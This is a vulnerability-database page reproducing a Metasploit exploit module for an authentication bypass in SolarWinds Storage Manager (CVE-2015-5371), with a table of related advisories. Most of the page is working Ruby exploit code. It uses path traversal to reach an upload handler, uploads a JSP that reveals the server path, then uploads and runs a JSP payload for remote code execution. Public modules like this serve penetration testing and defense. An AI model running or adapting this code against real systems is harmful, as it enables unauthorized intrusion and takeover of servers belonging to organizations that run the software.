SolarWinds Storage Manager Authentication Bypass
🗓️ 19 Aug 2014 00:00:00Reported by rgod <[email protected]>, juan vazquez <[email protected]>Type
metasploit🔗 www.rapid7.com👁 18 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| The vulnerability of the SolarWinds Storage Manager data management software allows a hacker to load and execute arbitrary code. | 20 Jul 201500:00 | – | bdu_fstec | |
| CVE-2015-5371 | 29 May 201815:50 | – | circl | |
| SolarWinds Storage Manager AuthenticationFilter Remote Command Execution Vulnerability | 7 Jul 201500:00 | – | cnvd | |
| CVE-2015-5371 | 6 Jul 201514:00 | – | cve | |
| CVE-2015-5371 | 6 Jul 201514:00 | – | cvelist | |
| CVE-2015-5371 | 6 Jul 201514:59 | – | nvd | |
| Authentication flaw | 6 Jul 201514:59 | – | prion | |
| SolarWinds Storage Manager AuthenticationFilter Script Upload RCE | 22 Dec 201500:00 | – | nessus | |
| (0Day) SolarWinds Storage Manager AuthenticationFilter Remote Code Execution Vulnerability | 30 Jun 201500:00 | – | zdi |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Storage Manager Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.
The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication
with specially crafted URLs. After bypassing authentication, is possible to use a file
upload function to achieve remote code execution. This module has been tested successfully
in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and
Linux 64 bits operating systems.
},
'Author' => [
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-5371'],
['ZDI', '14-299']
],
'Privileged' => true,
'Platform' => %w{linux win},
'Arch' => ARCH_JAVA,
'Targets' => [
['Solarwinds Store Manager <= 5.7.1', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2014-08-19',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(9000)
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}"
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return Exploit::CheckCode::Vulnerable('Successfully verified the upload vulnerability')
end
Exploit::CheckCode::Safe('The target is not vulnerable')
end
def exploit
jsp_info = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
print_status("Uploading Information Gathering JSP #{jsp_info}...")
if upload(jsp_info, jsp_path)
print_good("JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed")
end
res = execute(jsp_info)
if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, jsp_info))
else
print_error("Couldn't retrieve the upload directory, manual cleanup will be required")
print_warning("#{jsp_info} needs to be deleted manually")
end
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
print_status("Uploading JSP payload #{jsp_payload}...")
if upload(jsp_payload, payload.encoded)
print_good("JSP payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end
if upload_path
register_file_for_cleanup(::File.join(upload_path, jsp_payload))
else
print_warning("#{jsp_payload} needs to be deleted manually")
end
print_status("Executing payload...")
execute(jsp_payload, 1)
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", jsp_name),
'method' => 'GET'
}, time_out)
res
end
def upload(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents,
"application/octet-stream",
nil,
"form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"")
res = send_request_cgi({
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
return true
end
false
end
def jsp_path
jsp = <<~EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("server.webapp.root"));
%>
EOS
jsp
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.93162